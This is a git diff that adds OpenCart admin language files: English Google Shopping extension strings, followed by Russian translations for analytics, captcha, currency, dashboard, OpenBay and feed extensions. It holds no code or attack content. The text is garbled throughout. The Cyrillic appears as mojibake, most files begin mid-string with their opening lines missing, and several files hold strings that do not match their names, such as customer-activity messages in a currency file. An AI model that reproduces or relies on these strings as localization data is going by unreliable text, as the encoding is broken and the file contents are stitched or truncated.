+$_['text_panel_heading_campaign'] = 'Step 3 of 5: Set up Smart Shopping Ad Campaigns';
+$_['text_panel_heading_campaign_2'] = 'Set up Smart Shopping Ad Campaigns';
+$_['text_panel_heading_mapping'] = 'Step 5 of 5: Set up Category Mapping';
+$_['text_panel_heading_mapping_2'] = 'Set up Category Mapping';
+$_['text_panel_heading_merchant'] = 'Step 2 of 5: Set up Google Merchant Center Account';
+$_['text_panel_heading_more_info'] = 'About Campaigns';
+$_['text_panel_heading_preview'] = 'How an Ad Looks Like';
+$_['text_panel_heading_shipping_taxes'] = 'Step 4 of 5: Set up Shipping & Taxes';
+$_['text_panel_heading_shipping_taxes_2'] = 'Set up Shipping & Taxes';
+$_['text_paused'] = 'Paused';
+$_['text_per_day'] = '$%s / day';
+$_['text_popup_error_body'] = 'The following error has occurred while trying to fetch this resource: {error}';
+$_['text_popup_error_title'] = 'Error';
+$_['text_popup_loading_body'] = 'Loading... Please wait...';
+$_['text_popup_loading_title'] = 'Loading form...';
+$_['text_popup_title_multiple'] = 'Editing %s products';
+$_['text_popup_title_single'] = '%s (%s)';
+$_['text_product_category'] = 'Category (incl. sub-categories)';
+$_['text_product_is_modified'] = 'Google Fields Edited';
+$_['text_product_model'] = 'Model';
+$_['text_product_name'] = 'Product';
+$_['text_refresh_token'] = 'Re-create token';
+$_['text_remote_cron'] = 'Method #2 - Remote CRON:';
+$_['text_report_campaign_name'] = 'Campaign Name';
+$_['text_report_clicks'] = 'Clicks';
+$_['text_report_conversion_value'] = 'Conversion Value';
+$_['text_report_conversions'] = 'Conversions';
+$_['text_report_cost'] = 'Cost';
+$_['text_report_date_range'] = 'Campaign Reports for %s';
+$_['text_report_impressions'] = 'Impressions';
+$_['text_report_status'] = 'Status';
+$_['text_reporting_interval'] = 'Reporting Time Interval';
+$_['text_reporting_interval_LAST_14_DAYS'] = 'Last 14 days';
+$_['text_reporting_interval_LAST_30_DAYS'] = 'Last 30 days';
+$_['text_reporting_interval_LAST_7_DAYS'] = 'Last 7 days';
+$_['text_reporting_interval_LAST_BUSINESS_WEEK'] = 'Last business week';
+$_['text_reporting_interval_LAST_WEEK'] = 'Last week';
+$_['text_reporting_interval_LAST_WEEK_SUN_SAT'] = 'Last week (Sunday - Saturday)';
+$_['text_reporting_interval_THIS_MONTH'] = 'This month';
+$_['text_reporting_interval_THIS_WEEK_MON_TODAY'] = 'This week (Monday - Today)';
+$_['text_reporting_interval_THIS_WEEK_SUN_TODAY'] = 'This week (Sunday - Today)';
+$_['text_reporting_interval_TODAY'] = 'Today';
+$_['text_reporting_interval_YESTERDAY'] = 'Yesterday';
+$_['text_select_country'] = '-- Country --';
+$_['text_select_currency'] = '-- Currency --';
+$_['text_select_language'] = '-- Language --';
+$_['text_selection_all'] = 'You have selected all {total} items on all pages. Unselect Everything';
+$_['text_selection_page'] = 'You have selected {selected_page} item(s) on this page. Click here to select all {total} items on all pages.';
+$_['text_shipping_carrier'] = 'Use a distribution center and carrier services';
+$_['text_shipping_custom'] = 'Set this up myself in the Google Merchant Center';
+$_['text_shipping_flat'] = 'Use a flat rate for all orders';
+$_['text_shipping_services'] = 'Shipping Services';
+$_['text_shipping_transit_times'] = 'Shipping Transit Times';
+$_['text_size'] = 'Size';
+$_['text_size_type_big_and_tall'] = 'Big & Tall';
+$_['text_size_type_maternity'] = 'Maternity';
+$_['text_size_type_petite'] = 'Petite';
+$_['text_size_type_plus'] = 'Plus';
+$_['text_size_type_regular'] = 'Regular';
+$_['text_status'] = 'Status';
+$_['text_suggestion'] = 'Suggestion';
+$_['text_tax_custom'] = 'Set this up myself in the Google Merchant Center';
+$_['text_tax_not_usa'] = 'I am not based in the USA';
+$_['text_tax_on_shipping'] = 'Add tax on shipping';
+$_['text_tax_usa'] = 'Use Google's destination-based tax estimation';
+$_['text_taxes'] = 'Taxes (USA only)';
+$_['text_tutorial_cron'] = 'https://isenselabs.com/posts/how-to-auto-sync-opencart-products-with-google-shopping';
+$_['text_usd'] = 'USD';
+$_['text_usd_day'] = 'USD / day';
+$_['text_video_tutorial_url_advertise'] = 'https://youtu.be/ZN7zz8raoVM?t=187';
+$_['text_video_tutorial_url_install'] = 'https://www.youtube.com/watch?v=AvkBLWAUojI';
+$_['text_video_tutorial_url_setup'] = 'https://www.youtube.com/watch?v=ZN7zz8raoVM';
+$_['text_view_issues'] = 'View Issues';
+$_['text_yes'] = 'Yes';
+
+// Placeholders
+$_['placeholder_access_token'] = 'Paste your access token here';
+
+// Tabs
+$_['tab_text_ads'] = 'Product Ads / Reports';
+$_['tab_text_reports'] = 'Campaign Reports';
+$_['tab_text_settings'] = 'Settings';
+
+// Buttons
+$_['button_add_feed'] = 'New Feed';
+$_['button_add_target'] = 'New Campaign';
+$_['button_apply'] = 'Assign Selected Products to Campaigns';
+$_['button_bulk_edit_google_fields'] = 'Bulk Edit';
+$_['button_campaign'] = 'Smart Shopping Ad Campaigns';
+$_['button_close'] = 'Close';
+$_['button_connect'] = 'Connect';
+$_['button_disconnect'] = 'Disconnect';
+$_['button_mapping'] = 'Category Mapping';
+$_['button_proceed'] = 'Продолжить';
+$_['button_product_edit'] = 'Edit Google Fields';
+$_['button_product_set'] = 'Set Google Fields';
+$_['button_save'] = 'Save';
+$_['button_save_future'] = 'Save & Do Nothing';
+$_['button_save_modify'] = 'Save & Modify Current Products';
+$_['button_select_campaigns'] = 'Select Campaigns';
+$_['button_shipping_taxes'] = 'Shipping & Taxes';
+$_['button_video_tutorial_install'] = 'ПоÑмотреть видео инÑтрукцию (на английÑком)';
+$_['button_video_tutorial_setup'] = 'ПоÑмотреть видео инÑтрукцию (на английÑком)';
+
+// Success
+$_['success_advertise_disable'] = 'Success! Advertising has been disabled for the selected products!';
+$_['success_advertise_enable'] = 'Success! Advertising has been enabled for the selected products!';
+$_['success_advertise_listed'] = 'The shopping ads are live! If your products are not yet approved, please allow up to 3 business days for the Merchant Center team to review them.';
+$_['success_advertise_unlisted'] = 'The shopping ads have been stopped. The products you edited no longer belong to any campaigns.';
+$_['success_campaign'] = 'Success! You have set up Smart Shopping Ad Campaigns!';
+$_['success_connect'] = 'Success! You have connected your extension!';
+$_['success_disconnect'] = 'Success! The extension has been disconnected!';
+$_['success_index'] = 'Success! You have modified the extension!';
+$_['success_mapping'] = 'Success! You have set up mapping!';
+$_['success_merchant'] = 'Success! Your Google Merchant Center account has been set up! Your website has been claimed!';
+$_['success_merchant_access'] = 'Success! Your Google Merchant Center account has been set up! Your website has been claimed! You can access the linked Google Merchant Center account from the Google Merchant Center dashboard.';
+$_['success_product'] = 'Success! The product information has been updated.';
+$_['success_shipping_taxes'] = 'Success! The merchant shipping and taxes have been updated.';
+$_['success_target_add'] = 'Success! Your new campaign has been created! It will become active as soon as your product feeds get approved by Google Merchant Center.';
+$_['success_target_delete'] = 'Success! Your campaign has been deleted!';
+$_['success_target_edit'] = 'Success! You have edited your campaign!';
+
+// Error
+$_['error_adblock'] = "It looks like you are using an ad blocker. In order to use GoogleShopping, please disable your ad blocker for your OpenCart admin panel.";
+$_['error_budget'] = 'Please insert the campaign budget. The value must be numeric and no less than 5.';
+$_['error_campaign_name_in_use'] = 'You are already using a campaign with the same name! Please choose another name.';
+$_['error_campaign_name_total'] = '"Total" is a forbidden name for a campaign! Please choose another name.';
+$_['error_carrier'] = 'Please select at least one carrier!';
+$_['error_carrier_postcode'] = 'Please provide the postcode for outgoing shipments.';
+$_['error_carrier_price_percentage'] = 'Please provide a valid price percentage from 0 to 100.';
+$_['error_cron_acknowledge'] = 'Please confirm you have set up a CRON job.';
+$_['error_empty_app_id'] = 'Please insert the App ID!';
+$_['error_empty_app_secret'] = 'Please insert the App Secret!';
+$_['error_empty_campaign_name'] = 'Please set a name for your campaign!';
+$_['error_empty_country'] = 'Please select a country!';
+$_['error_empty_feed'] = 'Please specify at least one campaign feed!';
+$_['error_field_no_value'] = 'Please provide a value!';
+$_['error_flat_rate'] = 'Please insert a flat rate value. The value must be numeric.';
+$_['error_form'] = 'Please check the form for errors and try to save agian.';
+$_['error_invalid_email'] = 'The provided e-mail address is not valid!';
+$_['error_invalid_feed'] = 'All feeds must have a language and currency!';
+$_['error_max_transit_time'] = 'Please insert a maximum transit time (number of days) which is larger than the minimum.';
+$_['error_min_transit_time'] = 'Please insert a minimum transit time (number of days).';
+$_['error_no_targets'] = 'Warning! No Smart Shopping Ad Campaigns have been set up.';
+$_['error_permission'] = 'Warning! You do not have permission to modify the extension Advertise > Google Shopping!';
+$_['error_popup_not_found_body'] = 'The system could not find the product.';
+$_['error_popup_not_found_title'] = 'Not found';
+$_['error_store_url_claim'] = 'Your store URL has been claimed by another app. Please connect your merchant account to re-claim the store URL.';
+$_['error_tax'] = 'Please select at least one taxable state.';
+$_['error_used_app_id'] = 'You have already connected this App with another one of your stores. Please disconnect the other store, or use a different App ID.';
+$_['error_warning'] = 'Warning! Please check the form carefully for errors.';
+
+// Warning
+$_['warning_budget'] = 'Campaigns with a daily budget of less than $10 may not yield good conversion results. For best results, we suggest a daily budget of at least $10.';
+$_['warning_disabled'] = 'The extension is disabled and all of your campaigns are stopped. Enable the extension to activate the Smart Shopping Ad Campaigns.';
+$_['warning_last_cron_executed'] = 'It seems like your CRON task has not been run recently. Please ensure it is set up correctly. Follow this tutorial to see how to do it.';
+$_['warning_no_active_campaigns'] = 'You have no campaigns running. Click here to activate your campaign.';
+$_['warning_no_advertised_products'] = 'No products are being advertised. To start advertising, you must assign products to campaigns. Follow this tutorial to see how to do it.';
+$_['warning_roas'] = 'Google Ads needs about a couple of weeks after a campaign gets created to work properly with ROAS. Please check back on %s to configure this setting.';
diff --git a/public/admin/language/ru-ru/extension/analytics/google.php b/public/admin/language/ru-ru/extension/analytics/google.php
new file mode 100644
index 0000000..e292fd2
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/google.php
@@ -0,0 +1,17 @@
+Google Analytics account and after creating your website profile copy and paste the analytics code into this field.';
+$_['text_default'] = 'Default';
+
+// Entry
+$_['entry_code'] = 'Google Analytics Code';
+$_['entry_status'] = 'Status';
+
+// Error
+$_['error_permission'] = 'Warning: You do not have permission to modify Google Analytics!';
+$_['error_code'] = 'Code required!';
diff --git a/public/admin/language/ru-ru/extension/analytics/google_analytics.php b/public/admin/language/ru-ru/extension/analytics/google_analytics.php
new file mode 100644
index 0000000..fcd687c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/google_analytics.php
@@ -0,0 +1,20 @@
+Google ÐÐ½Ð°Ð»Ð¸Ñ‚Ð¸ÐºÑ Ð¸ поÑле наÑтройки добавьте Ñюда выданный код.';
+
+// Entry
+$_['entry_code'] = 'Код Google ÐналитикÑ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_code'] = 'Ðеобходим код Google ÐналитикÑ!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php b/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php
new file mode 100644
index 0000000..c72bb2e
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/analytics/yandex_metrika.php
@@ -0,0 +1,23 @@
+yandex.ru/support/metrika/quick-start.xml';
+$_['text_default'] = 'По умолчанию';
+$_['text_edit'] = 'Редактирование ЯндекÑ.Метрики';
+$_['text_no_users'] = 'Ðе учитывать авторизированных пользователей';
+$_['text_no_admin'] = 'Ðе учитывать админиÑтратора';
+$_['text_yandex_metrika'] = 'ID Ñчетчика';
+$_['text_help_counter'] = 'ID Ñчетчика ЯндекÑ.Метрики';
+
+// Entry
+$_['entry_code'] = 'Код Ñчетчика';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_no_admin'] = 'Без админиÑтратора';
+$_['entry_no_users'] = 'Без пользователей';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_code'] = 'Ðеобходимо указать код!';
diff --git a/public/admin/language/ru-ru/extension/captcha/basic.php b/public/admin/language/ru-ru/extension/captcha/basic.php
new file mode 100644
index 0000000..1bd1878
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/captcha/basic.php
@@ -0,0 +1,16 @@
+Google reCAPTCHA и зарегиÑтрируйте Ñвой магазин.';
+
+// Entry
+$_['entry_key'] = 'Ключ Ñайта';
+$_['entry_secret'] = 'Секретный ключ';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_key'] = 'Ðеобходим ключ Ñайта!';
+$_['error_secret'] = 'Ðеобходим Ñекретный ключ!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/currency/cbr.php b/public/admin/language/ru-ru/extension/currency/cbr.php
new file mode 100644
index 0000000..ae92bc9
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/currency/cbr.php
@@ -0,0 +1,15 @@
+зарегиÑтрироватьÑÑ.';
+$_['text_support'] = 'Ð”Ð»Ñ Ñтого Ð¼Ð¾Ð´ÑƒÐ»Ñ Ñ‚Ñ€ÐµÐ±ÑƒÐµÑ‚ÑÑ Ð²Ð°Ð»ÑŽÑ‚Ð° EUR';
+
+// Entry
+$_['entry_api'] = 'API Access Key';
+$_['entry_status'] = 'СтатуÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_api'] = 'API Access Key обÑзателен!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/currency/nbu.php b/public/admin/language/ru-ru/extension/currency/nbu.php
new file mode 100644
index 0000000..6e9c607
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/currency/nbu.php
@@ -0,0 +1,15 @@
+%s - региÑÑ‚Ñ€Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_password'] = '%s - обновлен пароль.';
+$_['text_activity_reset'] = '%s - Ñброшен пароль учетной запиÑи.';
+$_['text_activity_login'] = '%s - выполнен вход.';
+$_['text_activity_forgotten'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð½Ð¾Ð²Ð¾Ð³Ð¾ паролÑ.';
+$_['text_activity_address_add'] = '%s - добавлен новый адреÑ.';
+$_['text_activity_address_edit'] = '%s - обновлен адреÑ.';
+$_['text_activity_address_delete'] = '%s - удален один из адреÑов.';
+$_['text_activity_return_account'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð¾Ð·Ð²Ñ€Ð°Ñ‚Ð° товара.';
+$_['text_activity_return_guest'] = '%s - Ð·Ð°Ð¿Ñ€Ð¾Ñ Ð²Ð¾Ð·Ð²Ñ€Ð°Ñ‚Ð° товара.';
+$_['text_activity_order_account'] = '%s - Ñоздан новый заказ.';
+$_['text_activity_order_guest'] = '%s - Ñоздан новый заказ.';
+$_['text_activity_affiliate_edit'] = '%s - зарегиÑтрирован новый аккаунт.';
+$_['text_affiliate_edit'] = '%s - обновлена Ð¸Ð½Ñ„Ð¾Ñ€Ð¼Ð°Ñ†Ð¸Ñ Ð°ÐºÐºÐ°ÑƒÐ½Ñ‚Ð°.';
+$_['text_activity_transaction'] = '%s - получена комиÑÑÐ¸Ñ Ð·Ð° заказ.';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+$_['entry_width'] = 'Ширина';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/dashboard/chart.php b/public/admin/language/ru-ru/extension/dashboard/chart.php
new file mode 100644
index 0000000..106b686
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/dashboard/chart.php
@@ -0,0 +1,25 @@
+Домовой 1.0.1';
+
+// Text
+$_['text_extension'] = 'РаÑширениÑ';
+$_['text_vps'] = 'VPS/Dedicated Ñервер';
+$_['text_shared'] = 'Виртуальный хоÑтинг';
+$_['text_server_type'] = 'Тип Вашего хоÑтинга';
+$_['text_success'] = 'ÐаÑтройки уÑпешно изменены!';
+$_['text_setting'] = 'ÐаÑтройки Домового';
+$_['text_edit'] = 'Редактирование';
+$_['text_check'] = 'еще не проверÑлаÑÑŒ, нажмите зеленую иконку Ð´Ð»Ñ Ð¿Ñ€Ð¾Ð²ÐµÑ€ÐºÐ¸';
+$_['text_server'] = 'Параметры Ñервера';
+$_['text_dir_cache'] = 'Папка ÑиÑтемного кеша ';
+$_['text_dir_logs'] = 'Папка логов ';
+$_['text_dir_imagescache'] = 'Папка кеша изображений ';
+$_['text_folder_size'] = 'занимает %s';
+$_['text_folder_files'] = '| %s файл(ов)';
+$_['text_normal'] = ' В норме';
+$_['text_warning_size'] = ' Внимание Папка превышает порог уÑтановленного Вами объема %sМб, очиÑтите ее, чтобы на хоÑтинге не закончилоÑÑŒ меÑто';
+$_['text_warning_free_space'] = ' Внимание Ðа диÑке оÑталоÑÑŒ меньше %sМб, проанализируйте как его можно увеличить, чтобы на хоÑтинге не закончилоÑÑŒ меÑто';
+$_['text_warning'] = 'Обратите внимание';
+$_['text_critical'] = 'КритичеÑкаÑ';
+$_['text_danger_info'] = 'У Ð’Ð°Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ñ‹ небезопаÑные функции:';
+$_['text_warning_info'] = 'У Ð’Ð°Ñ Ð²ÐºÐ»ÑŽÑ‡ÐµÐ½Ñ‹ потенциально небезопаÑные функции:';
+$_['text_danger_info_normal'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ включенных небезопаÑных функций:';
+$_['text_warning_info_normal'] = 'У Ð’Ð°Ñ Ð½ÐµÑ‚ включенных потенциально небезопаÑных функций';
+$_['text_metrics_bit'] = 'байт';
+$_['text_metrics_kbit'] = 'Кбайт';
+$_['text_metrics_mbit'] = 'Мбайт';
+$_['text_metrics_gbit'] = 'Гбайт';
+$_['text_metrics_tbit'] = 'Тбайт';
+$_['text_copied'] = 'Скопировано';
+$_['text_cache'] = 'СиÑтемный кеш уÑпешно очищен';
+$_['text_twig_off_warning'] = 'Кеш TWIG шаблонов отключен, рекомендуем включить!';
+$_['text_clear'] = 'ОчиÑтить Ñодержимое папки';
+$_['text_calculate'] = 'ПоÑчитать размер папки';
+$_['text_copy'] = 'Ðажмите чтобы Ñкопировать верÑию';
+$_['text_copyright'] = 'Домовой 1.0.1 - Dinox[opencartforum.com]';
+$_['text_phpinfo'] = 'Ðажмите чтобы поÑмотреть подробную информацию о PHP и другие параметры';
+$_['text_check_function'] = 'Проверка функций';
+$_['text_ocmod_cache_success'] = 'ОчиÑтка кеша OCMOD уÑпешно завершена';
+$_['text_disk_free_space'] = 'Свободное меÑто на диÑке: ';
+
+// Entry
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_sort_order'] = 'ПорÑдок Ñортировки';
+$_['entry_width'] = 'Ширина';
+$_['entry_danger_funtions'] = 'СпиÑок небезопаÑных функций, наличие которых нужно проверÑть';
+$_['entry_warning_funtions'] = 'СпиÑок потенциально небезопаÑных функций, наличие которых нужно проверÑть';
+$_['entry_theme_cache'] = 'Кеш шаблона';
+$_['entry_modification_cache'] = 'Кеш модификаторов OCMOD';
+$_['entry_allcache'] = 'ВеÑÑŒ кеш, без OCMOD';
+$_['entry_size'] = 'Введите объем, Мб';
+$_['entry_time'] = 'Период переÑчета, мин';
+$_['entry_folder_cron_status'] = 'Следить за объемом директории?';
+$_['entry_folder_space_limit'] = 'Порог объема директории, Мб';
+$_['entry_folder_calc_time'] = 'ПереÑчет размера директории,в минутах (работает при заходах в админку)';
+$_['entry_disk_free_space_limit'] = 'Минимальный оÑтаток Ñвободного меÑта на диÑке';
+$_['entry_free_space_status'] = 'Показывать оÑтаток Ñвободного меÑта на диÑке (в большинÑтве Ñлучаев работает на VPS/Dedicated';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_folder'] = 'Ð¢Ð°ÐºÐ°Ñ Ð¿Ð°Ð¿ÐºÐ° отÑутÑтвует в перечне доÑтупных папок';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/dashboard/map.php b/public/admin/language/ru-ru/extension/dashboard/map.php
new file mode 100644
index 0000000..546f20d
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/dashboard/map.php
@@ -0,0 +1,21 @@
+Дизайн - Макеты!';
+$_['text_add'] = 'Добавить';
+$_['text_list'] = 'СпиÑок модулей';
+$_['text_hide_modules'] = 'Ð’ ÑпиÑке не отображены модули, которые Ñкрыты в разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'Ðазвание модулÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
+$_['entry_code'] = 'Модуль';
+$_['entry_name'] = 'Ðазвание модулÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_name'] = 'Ðазвание должно Ñодержать от 3 до 64 Ñимволов!';
+$_['error_code'] = 'Ðеобходим модуль!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/openbay.php b/public/admin/language/ru-ru/extension/extension/openbay.php
new file mode 100644
index 0000000..303f28c
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/openbay.php
@@ -0,0 +1,120 @@
+ or <';
+$_['error_tracking_courier'] = 'You must select a courier if you want to add a tracking ID';
+$_['error_tracking_custom'] = 'Please leave courier field empty if you want to use custom courier';
+$_['error_permission'] = 'You do not have permission to modify the OpenBay Pro extension';
+$_['error_mkdir'] = 'PHP mkdir function is disabled, contact your host';
+$_['error_file_delete'] = 'Unable to remove these files, you should delete them manually';
+$_['error_mcrypt'] = 'PHP function "mcrypt_encrypt" is not enabled. Contact your hosting provider.';
+$_['error_mbstring'] = 'PHP library "mb strings" is not enabled. Contact your hosting provider.';
+$_['error_ftpconnect'] = 'PHP FTP functions are not enabled. Contact your hosting provider.';
+$_['error_oc_version'] = 'Your version of OpenCart is not tested to work with this module. You may experience problems.';
+$_['error_fopen'] = 'PHP function "fopen" is disabled by your host - you will be unable to import images when importing products';
+$_['lang_error_vqmod'] = 'Your vqmod folder contains older OpenBay Pro files - these need to be removed!';
+
+// Help
+$_['help_ftp_username'] = 'Use the FTP username from your host';
+$_['help_ftp_password'] = 'Use the FTP password from your host';
+$_['help_ftp_server'] = 'IP address or domain name for your FTP server';
+$_['help_ftp_root'] = '(No trailing slash e.g. httpdocs/www)';
+$_['help_ftp_admin'] = 'If you have changed your admin directory update it to the new location';
+$_['help_ftp_pasv'] = 'Change your FTP connection to passive mode';
+$_['help_ftp_beta'] = 'Caution! The beta version may not work correctly';
+$_['help_clear_faq'] = 'Show all of the help notifications again';
+$_['help_empty_data'] = 'This can cause serious damage, do not use it if you do not know what it does!';
+$_['help_easy_update'] = 'Click update to install the latest version of OpenBay Pro automatically';
+$_['help_patch'] = 'Click to run the patch scripts';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/other.php b/public/admin/language/ru-ru/extension/extension/other.php
new file mode 100644
index 0000000..f39f428
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/other.php
@@ -0,0 +1,15 @@
+разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'СпоÑоб оплаты';
+$_['column_status'] = 'СтатуÑ';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/report.php b/public/admin/language/ru-ru/extension/extension/report.php
new file mode 100644
index 0000000..d76fc03
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/report.php
@@ -0,0 +1,19 @@
+разделе ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ð¿Ñ€Ð°Ð²Ð°Ð¼Ð¸ пользователей!';
+
+// Column
+$_['column_name'] = 'СпоÑоб доÑтавки';
+$_['column_status'] = 'СтатуÑ';
+$_['column_sort_order'] = 'ПорÑдок Ñортировки';
+$_['column_action'] = 'ДейÑтвие';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/extension/theme.php b/public/admin/language/ru-ru/extension/extension/theme.php
new file mode 100644
index 0000000..0731999
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/extension/theme.php
@@ -0,0 +1,18 @@
+нажмите тут и выберите клаÑÑификацию Ñ Ñ‡Ð¸Ñловыми идентификаторами в текÑтовом формате (.txt). Загрузить Ñ Ð¿Ð¾Ð¼Ð¾Ñ‰ÑŒÑŽ зеленой кнопки импорта.';
+
+// Column
+$_['column_google_category'] = 'Google КатегориÑ';
+$_['column_category'] = 'КатегориÑ';
+$_['column_action'] = 'ДейÑтвие';
+
+// Entry
+$_['entry_google_category'] = 'Google КатегориÑ';
+$_['entry_category'] = 'КатегориÑ';
+$_['entry_status'] = 'СтатуÑ';
+$_['entry_data_feed'] = 'ÐдреÑ';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÐ´Ð¾Ñтаточно прав Ð´Ð»Ñ Ð²Ð½ÐµÑÐµÐ½Ð¸Ñ Ð¸Ð·Ð¼ÐµÐ½ÐµÐ½Ð¸Ð¹!';
+$_['error_upload'] = 'Файл не может быть загружен!';
+$_['error_filetype'] = 'Ðеверный формат файла!';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/google_sitemap.php b/public/admin/language/ru-ru/extension/feed/google_sitemap.php
new file mode 100644
index 0000000..f664163
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/google_sitemap.php
@@ -0,0 +1,20 @@
+ OpenBay Pro';
\ No newline at end of file
diff --git a/public/admin/language/ru-ru/extension/feed/unisender.php b/public/admin/language/ru-ru/extension/feed/unisender.php
new file mode 100644
index 0000000..3cec482
--- /dev/null
+++ b/public/admin/language/ru-ru/extension/feed/unisender.php
@@ -0,0 +1,26 @@
+
';
+$_['text_get_key'] = 'ЗарегиÑтрироватьÑÑ Ð¸ получить ключ';
+$_['text_unselect'] = 'ÑнÑть выделение';
+$_['text_export'] = 'ÐкÑпортировать ÑущеÑтвующие контакты в CSV';
+
+// Entry
+$_['entry_unisender_key'] = 'Ключ Unisender API:';
+$_['entry_unisender_key_help'] = 'ДоÑтупен в личном кабинете Unisender';
+$_['entry_unisender_subscribtion'] = 'ПодпиÑывать на раÑÑылки:';
+$_['entry_unisender_subscribtion_help'] = 'Покупатели, подпиÑавшиеÑÑ Ð½Ð° новоÑти, будут подпиÑаны на Ñти раÑÑылки';
+$_['entry_unisender_ignore'] = 'Ð’Ñегда подпиÑывать на раÑÑылки, незавиÑимо от выбора покупателÑ';
+$_['entry_unisender_status'] = 'СтатуÑ:';
+
+// Error
+$_['error_permission'] = 'У Ð²Ð°Ñ Ð½ÐµÑ‚ прав Ð´Ð»Ñ ÑƒÐ¿Ñ€Ð°Ð²Ð»ÐµÐ½Ð¸Ñ Ñтим модулем!';
+$_['error_form'] = 'Форма заполнена Ñ Ð¾ÑˆÐ¸Ð±ÐºÐ°Ð¼Ð¸!';
+$_['error_empty_field'] = 'Ðто поле должно быть заполнено!';
diff --git a/public/admin/language/ru-ru/extension/feed/yandex_market.php b/public/admin/language/ru-ru/extension/feed/yandex_market.php
new file mode 100644
index 0000000..be49a0f
--- /dev/null
